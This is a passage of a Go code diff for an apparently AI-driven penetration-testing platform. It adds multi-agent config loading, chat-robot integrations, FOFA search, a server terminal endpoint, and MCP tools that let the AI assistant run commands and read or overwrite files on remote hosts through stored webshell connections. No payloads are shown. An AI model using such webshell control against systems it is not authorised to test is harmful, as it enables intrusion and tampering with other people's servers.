+		return yamlSubs, nil
+	}
+	return MergeYAMLAndMarkdown(yamlSubs, md), nil
+}
+
+// BuildMarkdownFile 根据配置序列化为可写回磁盘的 Markdown。
+func BuildMarkdownFile(sub config.MultiAgentSubConfig) ([]byte, error) {
+	fm := FrontMatter{
+		Name:          sub.Name,
+		ID:            sub.ID,
+		Description:   sub.Description,
+		MaxIterations: sub.MaxIterations,
+		BindRole:      sub.BindRole,
+	}
+	if k := strings.TrimSpace(sub.Kind); k != "" {
+		fm.Kind = k
+	}
+	if len(sub.RoleTools) > 0 {
+		fm.Tools = sub.RoleTools
+	}
+	head, err := yaml.Marshal(fm)
+	if err != nil {
+		return nil, err
+	}
+	var b strings.Builder
+	b.WriteString("---\n")
+	b.Write(head)
+	b.WriteString("---\n\n")
+	b.WriteString(strings.TrimSpace(sub.Instruction))
+	if !strings.HasSuffix(sub.Instruction, "\n") && sub.Instruction != "" {
+		b.WriteString("\n")
+	}
+	return []byte(b.String()), nil
+}

internal/agents/markdown_orchestrator_test.go

@@ -0,0 +1,66 @@
+package agents
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+)
+
+func TestLoadMarkdownAgentsDir_OrchestratorExcludedFromSubs(t *testing.T) {
+	dir := t.TempDir()
+	orch := filepath.Join(dir, OrchestratorMarkdownFilename)
+	if err := os.WriteFile(orch, []byte(`---
+id: cyberstrike-deep
+name: Main
+description: Test desc
+---
+
+Hello orchestrator
+`), 0644); err != nil {
+		t.Fatal(err)
+	}
+	subPath := filepath.Join(dir, "worker.md")
+	if err := os.WriteFile(subPath, []byte(`---
+id: worker
+name: Worker
+description: W
+---
+
+Do work
+`), 0644); err != nil {
+		t.Fatal(err)
+	}
+	load, err := LoadMarkdownAgentsDir(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if load.Orchestrator == nil || load.Orchestrator.EinoName != "cyberstrike-deep" {
+		t.Fatalf("orchestrator: %+v", load.Orchestrator)
+	}
+	if len(load.SubAgents) != 1 || load.SubAgents[0].ID != "worker" {
+		t.Fatalf("subs: %+v", load.SubAgents)
+	}
+	if len(load.FileEntries) != 2 {
+		t.Fatalf("file entries: %d", len(load.FileEntries))
+	}
+	var orchFile *FileAgent
+	for i := range load.FileEntries {
+		if load.FileEntries[i].IsOrchestrator {
+			orchFile = &load.FileEntries[i]
+			break
+		}
+	}
+	if orchFile == nil || orchFile.Filename != OrchestratorMarkdownFilename {
+		t.Fatal("missing orchestrator file entry")
+	}
+}
+
+func TestLoadMarkdownAgentsDir_DuplicateOrchestrator(t *testing.T) {
+	dir := t.TempDir()
+	_ = os.WriteFile(filepath.Join(dir, OrchestratorMarkdownFilename), []byte("---\nname: A\n---\n\nx\n"), 0644)
+	_ = os.WriteFile(filepath.Join(dir, "b.md"), []byte("---\nname: B\nkind: orchestrator\n---\n\ny\n"), 0644)
+	_, err := LoadMarkdownAgentsDir(dir)
+	if err == nil {
+		t.Fatal("expected duplicate orchestrator error")
+	}
+}

internal/app/app.go

@@ -7,6 +7,7 @@ import (
 	"net/http"
 	"os"
 	"path/filepath"
+	"sync"
 	"time"
 
 	"cyberstrike-ai/internal/agent"
@@ -18,6 +19,7 @@ import (
 	"cyberstrike-ai/internal/mcp"
 	"cyberstrike-ai/internal/mcp/builtin"
 	"cyberstrike-ai/internal/openai"
+	"cyberstrike-ai/internal/robot"
 	"cyberstrike-ai/internal/security"
 	"cyberstrike-ai/internal/skills"
 	"cyberstrike-ai/internal/storage"
@@ -43,6 +45,10 @@ type App struct {
 	knowledgeIndexer   *knowledge.Indexer        // 知识库索引器（用于动态初始化）
 	knowledgeHandler   *handler.KnowledgeHandler // 知识库处理器（用于动态初始化）
 	agentHandler       *handler.AgentHandler     // Agent处理器（用于更新知识库管理器）
+	robotHandler       *handler.RobotHandler     // 机器人处理器（钉钉/飞书/企业微信）
+	robotMu            sync.Mutex                // 保护钉钉/飞书长连接的 cancel
+	dingCancel         context.CancelFunc        // 钉钉 Stream 取消函数，用于配置变更时重启
+	larkCancel         context.CancelFunc        // 飞书长连接取消函数，用于配置变更时重启
 }
 
 // New 创建新应用
@@ -192,7 +198,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
 		knowledgeRetriever = knowledge.NewRetriever(knowledgeDB, embedder, retrievalConfig, log.Logger)
 
 		// 创建索引器
-		knowledgeIndexer = knowledge.NewIndexer(knowledgeDB, embedder, log.Logger)
+		knowledgeIndexer = knowledge.NewIndexer(knowledgeDB, embedder, log.Logger, &cfg.Knowledge.Indexing)
 
 		// 注册知识检索工具到MCP服务器
 		knowledge.RegisterKnowledgeTool(mcpServer, knowledgeRetriever, knowledgeManager, log.Logger)
@@ -292,6 +298,19 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
 	skillsManager := skills.NewManager(skillsDir, log.Logger)
 	log.Logger.Info("Skills管理器已初始化", zap.String("skillsDir", skillsDir))
 
+	agentsDir := cfg.AgentsDir
+	if agentsDir == "" {
+		agentsDir = "agents"
+	}
+	if !filepath.IsAbs(agentsDir) {
+		agentsDir = filepath.Join(configDir, agentsDir)
+	}
+	if err := os.MkdirAll(agentsDir, 0755); err != nil {
+		log.Logger.Warn("创建 agents 目录失败", zap.String("path", agentsDir), zap.Error(err))
+	}
+	markdownAgentsHandler := handler.NewMarkdownAgentsHandler(agentsDir)
+	log.Logger.Info("多代理 Markdown 子 Agent 目录", zap.String("agentsDir", agentsDir))
+
 	// 注册Skills工具到MCP服务器（让AI可以按需调用，带数据库存储支持统计）
 	// 创建一个适配器，将database.DB适配为SkillStatsStorage接口
 	var skillStatsStorage skills.SkillStatsStorage
@@ -303,6 +322,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
 	// 创建处理器
 	agentHandler := handler.NewAgentHandler(agent, db, cfg, log.Logger)
 	agentHandler.SetSkillsManager(skillsManager) // 设置Skills管理器
+	agentHandler.SetAgentsMarkdownDir(agentsDir)
 	// 如果知识库已启用，设置知识库管理器到AgentHandler以便记录检索日志
 	if knowledgeManager != nil {
 		agentHandler.SetKnowledgeManager(knowledgeManager)
@@ -313,17 +333,23 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
 	authHandler := handler.NewAuthHandler(authManager, cfg, configPath, log.Logger)
 	attackChainHandler := handler.NewAttackChainHandler(db, &cfg.OpenAI, log.Logger)
 	vulnerabilityHandler := handler.NewVulnerabilityHandler(db, log.Logger)
+	webshellHandler := handler.NewWebShellHandler(log.Logger, db)
+	chatUploadsHandler := handler.NewChatUploadsHandler(log.Logger)
+	registerWebshellTools(mcpServer, db, webshellHandler, log.Logger)
 	configHandler := handler.NewConfigHandler(configPath, cfg, mcpServer, executor, agent, attackChainHandler, externalMCPMgr, log.Logger)
 	externalMCPHandler := handler.NewExternalMCPHandler(externalMCPMgr, cfg, configPath, log.Logger)
 	roleHandler := handler.NewRoleHandler(cfg, configPath, log.Logger)
 	roleHandler.SetSkillsManager(skillsManager) // 设置Skills管理器到RoleHandler
 	skillsHandler := handler.NewSkillsHandler(skillsManager, cfg, configPath, log.Logger)
+	fofaHandler := handler.NewFofaHandler(cfg, log.Logger)
+	terminalHandler := handler.NewTerminalHandler(log.Logger)
 	if db != nil {
 		skillsHandler.SetDB(db) // 设置数据库连接以便获取调用统计
 	}
 
 	// 创建OpenAPI处理器
 	conversationHandler := handler.NewConversationHandler(db, log.Logger)
+	robotHandler := handler.NewRobotHandler(cfg, db, agentHandler, log.Logger)
 	openAPIHandler := handler.NewOpenAPIHandler(db, log.Logger, resultStorage, conversationHandler, agentHandler)
 
 	// 创建 App 实例（部分字段稍后填充）
@@ -343,7 +369,10 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
 		knowledgeIndexer:   knowledgeIndexer,
 		knowledgeHandler:   knowledgeHandler,
 		agentHandler:       agentHandler,
+		robotHandler:       robotHandler,
 	}
+	// 飞书/钉钉长连接（无需公网），启用时在后台启动；后续前端应用配置时会通过 RestartRobotConnections 重启
+	app.startRobotConnections()
 
 	// 设置漏洞工具注册器（内置工具，必须设置）
 	vulnerabilityRegistrar := func() error {
@@ -352,6 +381,13 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
 	}
 	configHandler.SetVulnerabilityToolRegistrar(vulnerabilityRegistrar)
 
+	// 设置 WebShell 工具注册器（ApplyConfig 时重新注册）
+	webshellRegistrar := func() error {
+		registerWebshellTools(mcpServer, db, webshellHandler, log.Logger)
+		return nil
+	}
+	configHandler.SetWebshellToolRegistrar(webshellRegistrar)
+
 	// 设置Skills工具注册器（内置工具，必须设置）
 	skillsRegistrar := func() error {
 		// 创建一个适配器，将database.DB适配为SkillStatsStorage接口
@@ -400,6 +436,9 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
 		configHandler.SetRetrieverUpdater(knowledgeRetriever)
 	}
 
+	// 设置机器人连接重启器，前端应用配置后无需重启服务即可使钉钉/飞书新配置生效
+	configHandler.SetRobotRestarter(app)
+
 	// 设置路由（使用 App 实例以便动态获取 handler）
 	setupRoutes(
 		router,
@@ -407,14 +446,20 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
 		agentHandler,
 		monitorHandler,
 		conversationHandler,
+		robotHandler,
 		groupHandler,
 		configHandler,
 		externalMCPHandler,
 		attackChainHandler,
 		app, // 传递 App 实例以便动态获取 knowledgeHandler
 		vulnerabilityHandler,
+		webshellHandler,
+		chatUploadsHandler,
 		roleHandler,
 		skillsHandler,
+		markdownAgentsHandler,
+		fofaHandler,
+		terminalHandler,
 		mcpServer,
 		authManager,
 		openAPIHandler,
@@ -424,6 +469,21 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
 
 }
 
+// mcpHandlerWithAuth 在鉴权通过后转发到 MCP 处理；若配置了 auth_header 则校验请求头，否则直接放行
+func (a *App) mcpHandlerWithAuth(w http.ResponseWriter, r *http.Request) {
+	cfg := a.config.MCP
+	if cfg.AuthHeader != "" {
+		if r.Header.Get(cfg.AuthHeader) != cfg.AuthHeaderValue {
+			a.logger.Logger.Debug("MCP 鉴权失败：header 缺失或值不匹配", zap.String("header", cfg.AuthHeader))
+			w.Header().Set("Content-Type", "application/json")
+			w.WriteHeader(http.StatusUnauthorized)
+			w.Write([]byte(`{"error":"unauthorized"}`))
+			return
+		}
+	}
+	a.mcpServer.HandleHTTP(w, r)
+}
+
 // Run 启动应用
 func (a *App) Run() error {
 	// 启动MCP服务器（如果启用）
@@ -433,7 +493,7 @@ func (a *App) Run() error {
 			a.logger.Info("启动MCP服务器", zap.String("address", mcpAddr))
 
 			mux := http.NewServeMux()
-			mux.HandleFunc("/mcp", a.mcpServer.HandleHTTP)
+			mux.HandleFunc("/mcp", a.mcpHandlerWithAuth)
 
 			if err := http.ListenAndServe(mcpAddr, mux); err != nil {
 				a.logger.Error("MCP服务器启动失败", zap.Error(err))
@@ -450,6 +510,18 @@ func (a *App) Run() error {
 
 // Shutdown 关闭应用
 func (a *App) Shutdown() {
+	// 停止钉钉/飞书长连接
+	a.robotMu.Lock()
+	if a.dingCancel != nil {
+		a.dingCancel()
+		a.dingCancel = nil
+	}
+	if a.larkCancel != nil {
+		a.larkCancel()
+		a.larkCancel = nil
+	}
+	a.robotMu.Unlock()
+
 	// 停止所有外部MCP客户端
 	if a.externalMCPMgr != nil {
 		a.externalMCPMgr.StopAll()
@@ -463,6 +535,40 @@ func (a *App) Shutdown() {
 	}
 }
 
+// startRobotConnections 根据当前配置启动钉钉/飞书长连接（不先关闭已有连接，仅用于首次启动）
+func (a *App) startRobotConnections() {
+	a.robotMu.Lock()
+	defer a.robotMu.Unlock()
+	cfg := a.config
+	if cfg.Robots.Lark.Enabled && cfg.Robots.Lark.AppID != "" && cfg.Robots.Lark.AppSecret != "" {
+		ctx, cancel := context.WithCancel(context.Background())
+		a.larkCancel = cancel
+		go robot.StartLark(ctx, cfg.Robots.Lark, a.robotHandler, a.logger.Logger)
+	}
+	if cfg.Robots.Dingtalk.Enabled && cfg.Robots.Dingtalk.ClientID != "" && cfg.Robots.Dingtalk.ClientSecret != "" {
+		ctx, cancel := context.WithCancel(context.Background())
+		a.dingCancel = cancel
+		go robot.StartDing(ctx, cfg.Robots.Dingtalk, a.robotHandler, a.logger.Logger)
+	}
+}
+
+// RestartRobotConnections 重启钉钉/飞书长连接，使前端应用配置后立即生效（实现 handler.RobotRestarter）
+func (a *App) RestartRobotConnections() {
+	a.robotMu.Lock()
+	if a.dingCancel != nil {
+		a.dingCancel()
+		a.dingCancel = nil
+	}
+	if a.larkCancel != nil {
+		a.larkCancel()
+		a.larkCancel = nil
+	}
+	a.robotMu.Unlock()
+	// 给旧 goroutine 一点时间退出
+	time.Sleep(200 * time.Millisecond)
+	a.startRobotConnections()
+}
+
 // setupRoutes 设置路由
 func setupRoutes(
 	router *gin.Engine,
@@ -470,14 +576,20 @@ func setupRoutes(
 	agentHandler *handler.AgentHandler,
 	monitorHandler *handler.MonitorHandler,
 	conversationHandler *handler.ConversationHandler,
+	robotHandler *handler.RobotHandler,
 	groupHandler *handler.GroupHandler,
 	configHandler *handler.ConfigHandler,
 	externalMCPHandler *handler.ExternalMCPHandler,
 	attackChainHandler *handler.AttackChainHandler,
 	app *App, // 传递 App 实例以便动态获取 knowledgeHandler
 	vulnerabilityHandler *handler.VulnerabilityHandler,
+	webshellHandler *handler.WebShellHandler,
+	chatUploadsHandler *handler.ChatUploadsHandler,
 	roleHandler *handler.RoleHandler,
 	skillsHandler *handler.SkillsHandler,
+	markdownAgentsHandler *handler.MarkdownAgentsHandler,
+	fofaHandler *handler.FofaHandler,
+	terminalHandler *handler.TerminalHandler,
 	mcpServer *mcp.Server,
 	authManager *security.AuthManager,
 	openAPIHandler *handler.OpenAPIHandler,
@@ -494,9 +606,18 @@ func setupRoutes(
 		authRoutes.GET("/validate", security.AuthMiddleware(authManager), authHandler.Validate)
 	}
 
+	// 机器人回调（无需登录，供企业微信/钉钉/飞书服务器调用）
+	api.GET("/robot/wecom", robotHandler.HandleWecomGET)
+	api.POST("/robot/wecom", robotHandler.HandleWecomPOST)
+	api.POST("/robot/dingtalk", robotHandler.HandleDingtalkPOST)
+	api.POST("/robot/lark", robotHandler.HandleLarkPOST)
+
 	protected := api.Group("")
 	protected.Use(security.AuthMiddleware(authManager))
 	{
+		// 机器人测试（需登录）：POST /api/robot/test，body: {"platform":"dingtalk","user_id":"test","text":"帮助"}，用于验证机器人逻辑
+		protected.POST("/robot/test", robotHandler.HandleRobotTest)
+
 		// Agent Loop
 		protected.POST("/agent-loop", agentHandler.AgentLoop)
 		// Agent Loop 流式输出
@@ -506,6 +627,21 @@ func setupRoutes(
 		protected.GET("/agent-loop/tasks", agentHandler.ListAgentTasks)
 		protected.GET("/agent-loop/tasks/completed", agentHandler.ListCompletedTasks)
 
+		// Eino DeepAgent 多代理（与单 Agent 并存，需 config.multi_agent.enabled）
+		// 多代理路由常注册；是否可用由运行时 h.config.MultiAgent.Enabled 决定（应用配置后无需重启）
+		protected.POST("/multi-agent", agentHandler.MultiAgentLoop)
+		protected.POST("/multi-agent/stream", agentHandler.MultiAgentLoopStream)
+		protected.GET("/multi-agent/markdown-agents", markdownAgentsHandler.ListMarkdownAgents)
+		protected.GET("/multi-agent/markdown-agents/:filename", markdownAgentsHandler.GetMarkdownAgent)
+		protected.POST("/multi-agent/markdown-agents", markdownAgentsHandler.CreateMarkdownAgent)
+		protected.PUT("/multi-agent/markdown-agents/:filename", markdownAgentsHandler.UpdateMarkdownAgent)
+		protected.DELETE("/multi-agent/markdown-agents/:filename", markdownAgentsHandler.DeleteMarkdownAgent)
+
+		// 信息收集 - FOFA 查询（后端代理）
+		protected.POST("/fofa/search", fofaHandler.Search)
+		// 信息收集 - 自然语言解析为 FOFA 语法（需人工确认后再查询）
+		protected.POST("/fofa/parse", fofaHandler.ParseNaturalLanguage)
+
 		// 批量任务管理
 		protected.POST("/batch-tasks", agentHandler.CreateBatchQueue)
 		protected.GET("/batch-tasks", agentHandler.ListBatchQueues)
@@ -550,6 +686,11 @@ func setupRoutes(
 		protected.PUT("/config", configHandler.UpdateConfig)
 		protected.POST("/config/apply", configHandler.ApplyConfig)
 
+		// 系统设置 - 终端（执行命令，提高运维效率）
+		protected.POST("/terminal/run", terminalHandler.RunCommand)
+		protected.POST("/terminal/run/stream", terminalHandler.RunCommandStream)
+		protected.GET("/terminal/ws", terminalHandler.RunCommandWS)
+
 		// 外部MCP管理
 		protected.GET("/external-mcp", externalMCPHandler.GetExternalMCPs)
 		protected.GET("/external-mcp/stats", externalMCPHandler.GetExternalMCPStats)
@@ -694,6 +835,18 @@ func setupRoutes(
 				}
 				app.knowledgeHandler.Search(c)
 			})
+			knowledgeRoutes.GET("/stats", func(c *gin.Context) {
+				if app.knowledgeHandler == nil {
+					c.JSON(http.StatusOK, gin.H{
+						"enabled":          false,
+						"total_categories": 0,
+						"total_items":      0,
+						"message":          "知识库功能未启用，请前往系统设置启用知识检索功能",
+					})
+					return
+				}
+				app.knowledgeHandler.GetStats(c)
+			})
 		}
 
 		// 漏洞管理
@@ -704,6 +857,26 @@ func setupRoutes(
 		protected.PUT("/vulnerabilities/:id", vulnerabilityHandler.UpdateVulnerability)
 		protected.DELETE("/vulnerabilities/:id", vulnerabilityHandler.DeleteVulnerability)
 
+		// WebShell 管理（代理执行 + 连接配置存 SQLite）
+		protected.GET("/webshell/connections", webshellHandler.ListConnections)
+		protected.POST("/webshell/connections", webshellHandler.CreateConnection)
+		protected.GET("/webshell/connections/:id/ai-history", webshellHandler.GetAIHistory)
+		protected.GET("/webshell/connections/:id/ai-conversations", webshellHandler.ListAIConversations)
+		protected.PUT("/webshell/connections/:id", webshellHandler.UpdateConnection)
+		protected.DELETE("/webshell/connections/:id", webshellHandler.DeleteConnection)
+		protected.POST("/webshell/exec", webshellHandler.Exec)
+		protected.POST("/webshell/file", webshellHandler.FileOp)
+
+		// 对话附件（chat_uploads）管理
+		protected.GET("/chat-uploads", chatUploadsHandler.List)
+		protected.GET("/chat-uploads/download", chatUploadsHandler.Download)
+		protected.GET("/chat-uploads/content", chatUploadsHandler.GetContent)
+		protected.POST("/chat-uploads", chatUploadsHandler.Upload)
+		protected.POST("/chat-uploads/mkdir", chatUploadsHandler.Mkdir)
+		protected.DELETE("/chat-uploads", chatUploadsHandler.Delete)
+		protected.PUT("/chat-uploads/rename", chatUploadsHandler.Rename)
+		protected.PUT("/chat-uploads/content", chatUploadsHandler.PutContent)
+
 		// 角色管理
 		protected.GET("/roles", roleHandler.GetRoles)
 		protected.GET("/roles/:name", roleHandler.GetRole)
@@ -746,7 +919,11 @@ func setupRoutes(
 
 	// 前端页面
 	router.GET("/", func(c *gin.Context) {
-		c.HTML(http.StatusOK, "index.html", nil)
+		version := app.config.Version
+		if version == "" {
+			version = "v1.0.0"
+		}
+		c.HTML(http.StatusOK, "index.html", gin.H{"Version": version})
 	})
 }
 
@@ -939,6 +1116,158 @@ func registerVulnerabilityTool(mcpServer *mcp.Server, db *database.DB, logger *z
 	logger.Info("漏洞记录工具注册成功")
 }
 
+// registerWebshellTools 注册 WebShell 相关 MCP 工具，供 AI 助手在指定连接上执行命令与文件操作
+func registerWebshellTools(mcpServer *mcp.Server, db *database.DB, webshellHandler *handler.WebShellHandler, logger *zap.Logger) {
+	if db == nil || webshellHandler == nil {
+		logger.Warn("跳过 WebShell 工具注册：db 或 webshellHandler 为空")
+		return
+	}
+
+	// webshell_exec
+	execTool := mcp.Tool{
+		Name:             builtin.ToolWebshellExec,
+		Description:      "在指定的 WebShell 连接上执行一条系统命令，返回命令的标准输出。connection_id 由用户在 AI 助手上下文中选定。",
+		ShortDescription: "在 WebShell 连接上执行命令",
+		InputSchema: map[string]interface{}{
+			"type": "object",
+			"properties": map[string]interface{}{
+				"connection_id": map[string]interface{}{
+					"type":        "string",
+					"description": "WebShell 连接 ID（如 ws_xxx）",
+				},
+				"command": map[string]interface{}{
+					"type":        "string",
+					"description": "要执行的系统命令",
+				},
+			},
+			"required": []string{"connection_id", "command"},
+		},
+	}
+	execHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
+		cid, _ := args["connection_id"].(string)
+		cmd, _ := args["command"].(string)
+		if cid == "" || cmd == "" {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "connection_id 和 command 均为必填"}}, IsError: true}, nil
+		}
+		conn, err := db.GetWebshellConnection(cid)
+		if err != nil || conn == nil {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "未找到该 WebShell 连接或查询失败"}}, IsError: true}, nil
+		}
+		output, ok, errMsg := webshellHandler.ExecWithConnection(conn, cmd)
+		if errMsg != "" {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: errMsg}}, IsError: true}, nil
+		}
+		if !ok {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "HTTP 非 200，输出:\n" + output}}, IsError: false}, nil
+		}
+		return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: output}}, IsError: false}, nil
+	}
+	mcpServer.RegisterTool(execTool, execHandler)
+
+	// webshell_file_list
+	listTool := mcp.Tool{
+		Name:             builtin.ToolWebshellFileList,
+		Description:      "在指定 WebShell 连接上列出目录内容。path 默认为当前目录（.）。",
+		ShortDescription: "在 WebShell 上列出目录",
+		InputSchema: map[string]interface{}{
+			"type": "object",
+			"properties": map[string]interface{}{
+				"connection_id": map[string]interface{}{"type": "string", "description": "WebShell 连接 ID"},
+				"path":          map[string]interface{}{"type": "string", "description": "目录路径，默认 ."},
+			},
+			"required": []string{"connection_id"},
+		},
+	}
+	listHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
+		cid, _ := args["connection_id"].(string)
+		path, _ := args["path"].(string)
+		if cid == "" {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "connection_id 必填"}}, IsError: true}, nil
+		}
+		conn, err := db.GetWebshellConnection(cid)
+		if err != nil || conn == nil {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "未找到该 WebShell 连接"}}, IsError: true}, nil
+		}
+		output, ok, errMsg := webshellHandler.FileOpWithConnection(conn, "list", path, "", "")
+		if errMsg != "" {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: errMsg}}, IsError: true}, nil
+		}
+		return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: output}}, IsError: !ok}, nil
+	}
+	mcpServer.RegisterTool(listTool, listHandler)
+
+	// webshell_file_read
+	readTool := mcp.Tool{
+		Name:             builtin.ToolWebshellFileRead,
+		Description:      "在指定 WebShell 连接上读取文件内容。",
+		ShortDescription: "在 WebShell 上读取文件",
+		InputSchema: map[string]interface{}{
+			"type": "object",
+			"properties": map[string]interface{}{
+				"connection_id": map[string]interface{}{"type": "string", "description": "WebShell 连接 ID"},
+				"path":          map[string]interface{}{"type": "string", "description": "文件路径"},
+			},
+			"required": []string{"connection_id", "path"},
+		},
+	}
+	readHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
+		cid, _ := args["connection_id"].(string)
+		path, _ := args["path"].(string)
+		if cid == "" || path == "" {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "connection_id 和 path 必填"}}, IsError: true}, nil
+		}
+		conn, err := db.GetWebshellConnection(cid)
+		if err != nil || conn == nil {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "未找到该 WebShell 连接"}}, IsError: true}, nil
+		}
+		output, ok, errMsg := webshellHandler.FileOpWithConnection(conn, "read", path, "", "")
+		if errMsg != "" {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: errMsg}}, IsError: true}, nil
+		}
+		return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: output}}, IsError: !ok}, nil
+	}
+	mcpServer.RegisterTool(readTool, readHandler)
+
+	// webshell_file_write
+	writeTool := mcp.Tool{
+		Name:             builtin.ToolWebshellFileWrite,
+		Description:      "在指定 WebShell 连接上写入文件内容（会覆盖已有文件）。",
+		ShortDescription: "在 WebShell 上写入文件",
+		InputSchema: map[string]interface{}{
+			"type": "object",
+			"properties": map[string]interface{}{
+				"connection_id": map[string]interface{}{"type": "string", "description": "WebShell 连接 ID"},
+				"path":          map[string]interface{}{"type": "string", "description": "文件路径"},
+				"content":       map[string]interface{}{"type": "string", "description": "要写入的内容"},
+			},
+			"required": []string{"connection_id", "path", "content"},
+		},
+	}
+	writeHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
+		cid, _ := args["connection_id"].(string)
+		path, _ := args["path"].(string)
+		content, _ := args["content"].(string)
+		if cid == "" || path == "" {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "connection_id 和 path 必填"}}, IsError: true}, nil
+		}
+		conn, err := db.GetWebshellConnection(cid)
+		if err != nil || conn == nil {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "未找到该 WebShell 连接"}}, IsError: true}, nil
+		}
+		output, ok, errMsg := webshellHandler.FileOpWithConnection(conn, "write", path, content, "")
+		if errMsg != "" {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: errMsg}}, IsError: true}, nil
+		}
+		if !ok {
+			return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "写入可能失败，输出:\n" + output}}, IsError: false}, nil
+		}
+		return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "写入成功\n" + output}}, IsError: false}, nil
+	}
+	mcpServer.RegisterTool(writeTool, writeHandler)
+
+	logger.Info("WebShell 工具注册成功")
+}
+
 // initializeKnowledge 初始化知识库组件（用于动态初始化）
 func initializeKnowledge(
 	cfg *config.Config,
@@ -1000,7 +1329,7 @@ func initializeKnowledge(
 	knowledgeRetriever := knowledge.NewRetriever(knowledgeDB, embedder, retrievalConfig, logger)
 
 	// 创建索引器
-	knowledgeIndexer := knowledge.NewIndexer(knowledgeDB, embedder, logger)
+	knowledgeIndexer := knowledge.NewIndexer(knowledgeDB, embedder, logger, &cfg.Knowledge.Indexing)
 
 	// 注册知识检索工具到MCP服务器
 	knowledge.RegisterKnowledgeTool(mcpServer, knowledgeRetriever, knowledgeManager, logger)

internal/config/config.go

@@ -3,6 +3,8 @@ package config
 import (
 	"crypto/rand"
 	"encoding/base64"
+	"encoding/hex"
+	"encoding/json"
 	"fmt"
 	"os"
 	"path/filepath"
@@ -13,19 +15,99 @@ import (
 )
 
 type Config struct {
-	Server      ServerConfig      `yaml:"server"`
-	Log         LogConfig         `yaml:"log"`
-	MCP         MCPConfig         `yaml:"mcp"`
-	OpenAI      OpenAIConfig      `yaml:"openai"`
-	Agent       AgentConfig       `yaml:"agent"`
-	Security    SecurityConfig    `yaml:"security"`
-	Database    DatabaseConfig    `yaml:"database"`
-	Auth        AuthConfig        `yaml:"auth"`
-	ExternalMCP ExternalMCPConfig `yaml:"external_mcp,omitempty"`
-	Knowledge   KnowledgeConfig   `yaml:"knowledge,omitempty"`
-	RolesDir    string            `yaml:"roles_dir,omitempty" json:"roles_dir,omitempty"` // 角色配置文件目录（新方式）
-	Roles       map[string]RoleConfig `yaml:"roles,omitempty" json:"roles,omitempty"`     // 向后兼容：支持在主配置文件中定义角色
-	SkillsDir   string            `yaml:"skills_dir,omitempty" json:"skills_dir,omitempty"` // Skills配置文件目录
+	Version     string                `yaml:"version,omitempty" json:"version,omitempty"` // 前端显示的版本号，如 v1.3.3
+	Server      ServerConfig          `yaml:"server"`
+	Log         LogConfig             `yaml:"log"`
+	MCP         MCPConfig             `yaml:"mcp"`
+	OpenAI      OpenAIConfig          `yaml:"openai"`
+	FOFA        FofaConfig            `yaml:"fofa,omitempty" json:"fofa,omitempty"`
+	Agent       AgentConfig           `yaml:"agent"`
+	Security    SecurityConfig        `yaml:"security"`
+	Database    DatabaseConfig        `yaml:"database"`
+	Auth        AuthConfig            `yaml:"auth"`
+	ExternalMCP ExternalMCPConfig     `yaml:"external_mcp,omitempty"`
+	Knowledge   KnowledgeConfig       `yaml:"knowledge,omitempty"`
+	Robots      RobotsConfig          `yaml:"robots,omitempty" json:"robots,omitempty"`         // 企业微信/钉钉/飞书等机器人配置
+	RolesDir    string                `yaml:"roles_dir,omitempty" json:"roles_dir,omitempty"`   // 角色配置文件目录（新方式）
+	Roles       map[string]RoleConfig `yaml:"roles,omitempty" json:"roles,omitempty"`           // 向后兼容：支持在主配置文件中定义角色
+	SkillsDir   string                `yaml:"skills_dir,omitempty" json:"skills_dir,omitempty"` // Skills配置文件目录
+	AgentsDir   string                `yaml:"agents_dir,omitempty" json:"agents_dir,omitempty"` // 多代理子 Agent Markdown 定义目录（*.md，YAML front matter）
+	MultiAgent  MultiAgentConfig      `yaml:"multi_agent,omitempty" json:"multi_agent,omitempty"`
+}
+
+// MultiAgentConfig 基于 CloudWeGo Eino DeepAgent 的多代理编排（与单 Agent /agent-loop 并存）。
+type MultiAgentConfig struct {
+	Enabled                 bool                  `yaml:"enabled" json:"enabled"`
+	DefaultMode             string                `yaml:"default_mode" json:"default_mode"`                   // single | multi，供前端默认展示
+	RobotUseMultiAgent      bool                  `yaml:"robot_use_multi_agent" json:"robot_use_multi_agent"` // 为 true 时钉钉/飞书/企微机器人走 Eino 多代理
+	BatchUseMultiAgent      bool                  `yaml:"batch_use_multi_agent" json:"batch_use_multi_agent"` // 为 true 时批量任务队列中每子任务走 Eino 多代理
+	MaxIteration            int                   `yaml:"max_iteration" json:"max_iteration"`                 // Deep 主代理最大推理轮次
+	SubAgentMaxIterations   int                   `yaml:"sub_agent_max_iterations" json:"sub_agent_max_iterations"`
